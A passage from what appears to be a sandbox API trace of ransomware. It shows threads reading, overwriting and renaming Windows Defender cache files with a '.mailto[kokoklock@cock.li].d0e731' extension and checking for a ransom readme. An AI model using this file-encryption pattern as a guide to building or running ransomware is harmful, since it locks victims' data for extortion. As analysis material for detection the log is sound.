returned 1 [0079.464] WriteFile (in: hFile=0x438, lpBuffer=0x3491c90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x21b3fc5c, lpOverlapped=0x0 | out: lpBuffer=0x3491c90*, lpNumberOfBytesWritten=0x21b3fc5c*=0x8, lpOverlapped=0x0) returned 1 [0079.464] WriteFile (in: hFile=0x438, lpBuffer=0x21b3fc74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21b3fc5c, lpOverlapped=0x0 | out: lpBuffer=0x21b3fc74*, lpNumberOfBytesWritten=0x21b3fc5c*=0x4, lpOverlapped=0x0) returned 1 [0079.464] WriteFile (in: hFile=0x438, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21b3fc5c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x21b3fc5c*=0x4, lpOverlapped=0x0) returned 1 [0079.464] WriteFile (in: hFile=0x438, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x21b3fc5c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x21b3fc5c*=0x6c, lpOverlapped=0x0) returned 1 [0079.464] WriteFile (in: hFile=0x438, lpBuffer=0x3491970*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21b3fc5c, lpOverlapped=0x0 | out: lpBuffer=0x3491970*, lpNumberOfBytesWritten=0x21b3fc5c*=0x20, lpOverlapped=0x0) returned 1 [0079.464] WriteFile (in: hFile=0x438, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21b3fc5c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x21b3fc5c*=0x4, lpOverlapped=0x0) returned 1 [0079.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491970) returned 1 [0079.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491c68) returned 1 [0079.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491c90) returned 1 [0079.465] CloseHandle (hObject=0x438) returned 1 [0079.465] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11a) returned 0x33e20f8 [0079.465] wcscpy (in: _Dest=0x33e20f8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83" [0079.465] wcscat (in: _Dest=0x33e20f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83.mailto[kokoklock@cock.li].d0e731" [0079.465] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.83"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.83.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.466] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x820) returned 1 [0079.466] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e20f8) returned 1 [0079.466] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83", dwFileAttributes=0x820) returned 0 [0079.466] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348c428 [0079.466] wcscpy (in: _Dest=0x348c428, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0079.466] wcscat (in: _Dest=0x348c428, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" [0079.466] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt")) returned 0x20 [0079.466] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348c428) returned 1 [0079.466] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a100) returned 1 [0079.466] RtlExitUserThread (Status=0x1) Thread: id = 925 os_tid = 0x1578 [0079.459] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.87")) returned 0x20 [0079.460] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87", dwFileAttributes=0x20) returned 1 [0079.467] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.87"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0079.467] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x21bbfe90 | out: lpFileSize=0x21bbfe90*=1718881) returned 1 [0079.467] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x1a3a5d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.467] ReadFile (in: hFile=0x438, lpBuffer=0x21bbfe64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21bbfe60, lpOverlapped=0x0 | out: lpBuffer=0x21bbfe64*, lpNumberOfBytesRead=0x21bbfe60*=0x4, lpOverlapped=0x0) returned 1 [0079.516] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.516] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a60 [0079.516] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a10 [0079.516] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491830 [0079.516] NtQuerySystemTime (in: CurrentTime=0x21bbfe3c | out: CurrentTime=0x21bbfe3c*=132121176374077873) returned 0x0 [0079.516] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0xd7282bf9 [0079.516] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0xdc025be9 [0079.516] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0xa28e6b26 [0079.516] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x6213722c [0079.516] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x37487383 [0079.516] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0xe345c4e7 [0079.516] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x3478fd14 [0079.516] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x958b8c2f [0079.516] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x8e07c064 [0079.516] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x6d9f750d [0079.516] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x571da623 [0079.516] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x67d4e796 [0079.516] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x1414f669 [0079.516] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x5e583683 [0079.516] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x5cf261c3 [0079.516] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x4bad6863 [0079.516] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x62fcd7b0 [0079.516] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x47483e8d [0079.517] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x8e6a3e95 [0079.517] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x94a31bf6 [0079.517] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x5a13cc94 [0079.517] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0xc44e1c5a [0079.517] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0xe611c57b [0079.517] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0xce9ee18a [0079.517] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0xec3d3484 [0079.517] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x84e97f27 [0079.517] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x826baca1 [0079.517] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x27c6ea5a [0079.517] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x79701674 [0079.517] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0xb8976882 [0079.517] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x568511c6 [0079.517] RtlRandom (in: Seed=0x21bbfe48 | out: Seed=0x21bbfe48) returned 0x58a3e949 [0079.528] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.528] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491a60) returned 1 [0079.528] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.528] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.528] ReadFile (in: hFile=0x438, lpBuffer=0x34a2370, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x21bbfdfc, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesRead=0x21bbfdfc*=0x4096, lpOverlapped=0x0) returned 1 [0079.533] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34918f8 [0079.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34918f8) returned 1 [0079.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0079.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34918d0 [0079.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a38 [0079.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491a38) returned 1 [0079.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.534] WriteFile (in: hFile=0x438, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x21bbfdfc, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x21bbfdfc*=0x4096, lpOverlapped=0x0) returned 1 [0079.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0079.535] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xd1e78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.535] ReadFile (in: hFile=0x438, lpBuffer=0x34a2370, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x21bbfdfc, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesRead=0x21bbfdfc*=0x4096, lpOverlapped=0x0) returned 1 [0079.551] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xd1e78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.551] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0079.551] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0079.551] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34920c8 [0079.551] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34920c8) returned 1 [0079.551] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b2420 [0079.552] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492078 [0079.552] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e70 [0079.552] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e70) returned 1 [0079.552] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.552] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0079.552] WriteFile (in: hFile=0x438, lpBuffer=0x34b2420*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x21bbfdfc, lpOverlapped=0x0 | out: lpBuffer=0x34b2420*, lpNumberOfBytesWritten=0x21bbfdfc*=0x4096, lpOverlapped=0x0) returned 1 [0079.552] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b2420) returned 1 [0079.552] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x19f9cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.552] ReadFile (in: hFile=0x438, lpBuffer=0x34a2370, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x21bbfdfc, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesRead=0x21bbfdfc*=0x4096, lpOverlapped=0x0) returned 1 [0079.561] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x19f9cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.561] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0079.561] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.561] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491970 [0079.561] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491970) returned 1 [0079.561] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.561] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491970 [0079.561] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491ce0 [0079.561] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491ce0) returned 1 [0079.561] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.561] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0079.561] WriteFile (in: hFile=0x438, lpBuffer=0x349e2d0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x21bbfdfc, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesWritten=0x21bbfdfc*=0x4096, lpOverlapped=0x0) returned 1 [0079.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.562] WriteFile (in: hFile=0x438, lpBuffer=0x34918d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21bbfe58, lpOverlapped=0x0 | out: lpBuffer=0x34918d0*, lpNumberOfBytesWritten=0x21bbfe58*=0x20, lpOverlapped=0x0) returned 1 [0079.562] WriteFile (in: hFile=0x438, lpBuffer=0x3492078*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21bbfe58, lpOverlapped=0x0 | out: lpBuffer=0x3492078*, lpNumberOfBytesWritten=0x21bbfe58*=0x20, lpOverlapped=0x0) returned 1 [0079.562] WriteFile (in: hFile=0x438, lpBuffer=0x3491970*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21bbfe58, lpOverlapped=0x0 | out: lpBuffer=0x3491970*, lpNumberOfBytesWritten=0x21bbfe58*=0x20, lpOverlapped=0x0) returned 1 [0079.562] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.562] WriteFile (in: hFile=0x438, lpBuffer=0x3491880*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x21bbfe60, lpOverlapped=0x0 | out: lpBuffer=0x3491880*, lpNumberOfBytesWritten=0x21bbfe60*=0x8, lpOverlapped=0x0) returned 1 [0079.562] WriteFile (in: hFile=0x438, lpBuffer=0x21bbfe78*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21bbfe60, lpOverlapped=0x0 | out: lpBuffer=0x21bbfe78*, lpNumberOfBytesWritten=0x21bbfe60*=0x4, lpOverlapped=0x0) returned 1 [0079.562] WriteFile (in: hFile=0x438, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21bbfe60, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x21bbfe60*=0x4, lpOverlapped=0x0) returned 1 [0079.562] WriteFile (in: hFile=0x438, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x21bbfe60, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x21bbfe60*=0x6c, lpOverlapped=0x0) returned 1 [0079.562] WriteFile (in: hFile=0x438, lpBuffer=0x3491a10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21bbfe60, lpOverlapped=0x0 | out: lpBuffer=0x3491a10*, lpNumberOfBytesWritten=0x21bbfe60*=0x20, lpOverlapped=0x0) returned 1 [0079.562] WriteFile (in: hFile=0x438, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21bbfe60, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x21bbfe60*=0x4, lpOverlapped=0x0) returned 1 [0079.563] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491a10) returned 1 [0079.563] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491858) returned 1 [0079.563] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491880) returned 1 [0079.563] CloseHandle (hObject=0x438) returned 1 [0079.563] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11a) returned 0x33e20f8 [0079.563] wcscpy (in: _Dest=0x33e20f8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87" [0079.563] wcscat (in: _Dest=0x33e20f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87.mailto[kokoklock@cock.li].d0e731" [0079.563] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.87"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.87.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.564] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.564] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e20f8) returned 1 [0079.564] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.87", dwFileAttributes=0x20) returned 0 [0079.564] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348c428 [0079.564] wcscpy (in: _Dest=0x348c428, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0079.564] wcscat (in: _Dest=0x348c428, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" [0079.564] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt")) returned 0x20 [0079.564] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348c428) returned 1 [0079.564] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494eb8) returned 1 [0079.564] RtlExitUserThread (Status=0x1) Thread: id = 926 os_tid = 0x157c [0079.470] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.a0")) returned 0x20 [0079.471] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0", dwFileAttributes=0x20) returned 1 [0079.472] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.a0"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5cc [0079.472] GetFileSizeEx (in: hFile=0x5cc, lpFileSize=0x21c3fab8 | out: lpFileSize=0x21c3fab8*=3510063) returned 1 [0079.472] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x358f2b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.472] ReadFile (in: hFile=0x5cc, lpBuffer=0x21c3fa8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21c3fa88, lpOverlapped=0x0 | out: lpBuffer=0x21c3fa8c*, lpNumberOfBytesRead=0x21c3fa88*=0x4, lpOverlapped=0x0) returned 1 [0079.502] SetFilePointerEx (in: hFile=0x5cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a60 [0079.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491970 [0079.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491c90 [0079.502] NtQuerySystemTime (in: CurrentTime=0x21c3fa64 | out: CurrentTime=0x21c3fa64*=132121176373917337) returned 0x0 [0079.502] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0x4b737e61 [0079.502] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0x11d54e63 [0079.502] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0x366ab694 [0079.502] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0xc9cda262 [0079.502] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0x6af986e4 [0079.502] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0xf6492423 [0079.502] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0x8aafcb6c [0079.502] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0xa5692ba7 [0079.502] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0x3e0ff91c [0079.502] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0x58811683 [0079.502] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0xd87e9f4c [0079.502] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0x481c3630 [0079.502] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0x8b722aa5 [0079.502] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0x28b769c0 [0079.502] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0x8137e0fd [0079.502] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 0x696fb417 [0079.502] RtlRandom (in: Seed=0x21c3fa70 | out: Seed=0x21c3fa70) returned 